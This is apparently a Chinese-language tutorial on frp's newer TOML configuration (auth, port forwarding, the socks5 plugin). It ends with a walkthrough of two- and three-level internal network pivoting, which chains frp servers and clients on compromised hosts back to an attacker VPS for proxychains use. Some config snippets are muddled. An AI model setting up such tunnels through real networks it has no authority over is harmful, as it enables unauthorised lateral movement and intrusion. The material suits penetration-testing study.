我们新式的frp已经完全取代了旧版的frp(指舍弃了ini配置)。是我错付了。

来看看新版都有点啥新活。

image-20231028165443528

好好好,这样玩。现在主要是使用TOML文件进行配置。

配置文件校验

frps verify -c ./frps.toml

frpc verify -c ./frpc.toml

可以通过这样的命令来校验配置文件哪里存在问题。

端口转发

frps

bindPort = 7000  #现在已经不要写common了,会被识别为ini 以前bind_port全部转为小驼峰写法
auth.method = "token" #认证方法,以前只写token就可以。现在可以支持多种认证方式
auth.token = "1234!@#$"

frpc

serverAddr = "x.x.x.x"
serverPort = 7000
auth.method = "token"
auth.token = "1234!@#$"

[[proxies]] #现在是需要两个方框 下面的一些属性变量也需要注意数据类型
name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 6000

socks代理

frps

bindPort = 7000  

frpc

serverAddr = "x.x.x.x"
serverPort = 7000

[[proxies]] #现在是需要两个方框 下面的一些属性变量也需要注意数据类型
name = "socks" #随便名字
type = "tcp"
remotePort = 6000

[proxies.plugin] #注意是一个框
type = "socks5"

认证版

bindPort = 7000
auth.method = "token"
auth.token = "1234!@#$"
serverAddr = "118.31.166.161"
serverPort = 7000
auth.method = "token"
auth.token = "1234!@#$"

[[proxies]]
name = "socks"
type = "tcp"
remotePort = 6000

[proxies.plugin]
type = "socks5"

一些区别,以前是通过[[proxies]]这块来命名区别不同客户端(需要保证每个frpc的不同),现在是通过底下的name来保证唯一性,只需要修改name即可。

客户端插件设置

[proxies.plugin]
#这样就是设置代理的插件
type = "xxx" 选择代理类型可选的有unix_domain_socket 、 http_proxy 、 socks5 、 static_file 、 http2https 、 https2http 、 https2https
这些插件还可以有其他的一些参数,比如说设置账号密码。
https://gofrp.org/zh-cn/docs/reference/client-plugin/

多层内网代理

image-20231128101941615

一级网络代理

假设我们已经获取到了Windows Server 2012的控制权,然后我们需要继续攻击Ubuntu 20.04(DMZ区)这台服务器,因为在内网了,只有win2012才可以访问到,所以需要挂一个frp代理。

  1. 使用VPS(192.168.2.x)作为FRP服务端,在VPS上执行以下命令
./frps -c ./frps.toml

frps.toml的配置文件内容为

bindPort = 7000
bindAddr = "0.0.0.0"
  1. 使用win2012作为frp客户端,在win2012上执行
.\frpc.exe -c frpc.toml

frpc.toml的文件内容为

serverAddr = "192.168.2.x"
serverPort = 7000

[[proxies]]
name = "socks"
type = "tcp"
remotePort = 1080

[proxies.plugin]
type = "socks5"

直接在proxychains.conf添加

socks5 192.168.2.x 1080

二级网络代理

获得DMZ区域的FTP服务器的控制权之后,可以看到还有一个192.168.30.0/24的办公区网络,需要继续渗透并且登录到服务器的远程桌面,可以使用FRP在DMZ区与办公区之间搭建一个二级网络的socks5代理,从而访问办公区的文件服务器

  1. 使用VPS(192.168.2.x)作为FRP服务端,在VPS上执行以下命令
./frps -c ./frps.toml

frps.toml的配置文件内容为

bindPort = 7000
bindAddr = "0.0.0.0"
  1. 使用win2012作为frp客户端,在win2012上执行
.\frpc.exe -c frpc.toml

frpc.toml的文件内容为,把本机的10808端口流量转发到1080端口

serverAddr = "192.168.2.x"
serverPort = 7000

[[proxies]]
name = "socks2"
type = "tcp"
localIP = "10.10.10.13"
remotePort = 1080
localPort = 10808

[proxies.plugin]
type = "socks5"
  1. 在win2012上启动一个frps
bindPort = 7000
bindAddr = "10.10.10.13"
  1. 在DMZ区的FTP服务器上启动frpc,连接到win2012的frps,并且在10808端口启动一个socks5代理服务
serverAddr = "10.10.10.13"
serverPort = 7000

[[proxies]]
name = "socks3"
type = "tcp"
remotePort = 10808

[proxies.plugin]
type = "socks5"

直接在proxychains.conf添加

socks5 192.168.2.x 1080

可以看到,其实相对于一级网络代理来on说,就是win2012同时作为了frps和frpc,他负责连接到VPS,然后把FTP服务器的10808的端口流量(因为FTP服务器就是连接的10808端口),通过自己的1080端口转发到VPS上。

image-20231128102126108

三级网络代理

入侵了办公区之后,发现还有一个网段为192.168.60.0/24的核心区网络。使用FRP在DMZ区,办公区和核心区之间网络搭建一个socks5代理。

  1. 使用VPS(192.168.2.x)作为FRP服务端,在VPS上执行以下命令
./frps -c ./frps.toml

frps.toml的配置文件内容为

bindPort = 7000
bindAddr = "0.0.0.0"
  1. 使用win2012作为frp客户端,在win2012上执行
.\frpc.exe -c frpc.toml

frpc.toml的文件内容为

serverAddr = "192.168.2.x"
serverPort = 7000

[[proxies]]
name = "socks3"
type = "tcp"
localIP = "10.10.10.13"
remotePort = 1080
localPort = 10808

[proxies.plugin]
type = "socks5"
  1. 在win2012上启动一个frps
bindPort = 7000
bindAddr = "10.10.10.13"
  1. 在DMZ区的FTP服务器上启动frpc,连接到win2012的frps,同时将本地的10808端口转发到win2012的10808端口
serverAddr = "10.10.10.13"
serverPort = 7000

[[proxies]]
name = "socks3"
type = "tcp"
localIP = "192.168.30.40"
localPort = 10809
remotePort = 10808

[proxies.plugin]
type = "socks5"
  1. 在DMZ区FTP服务器上启动一个frps
bindPort = 7000
bindAddr = "192.168.30.40"
  1. 在办公区的文件服务器上启动frpc,连接到FTP服务器的Frps,并在10809端口启动socks5代理服务。
serverAddr = "192.168.30.40"
serverPort = 7000

[[proxies]]
name = "socks3"
type = "tcp"
remotePort = 10809

[proxies.plugin]
type = "socks5"

直接在proxychains.conf添加

socks5 192.168.2.x 1080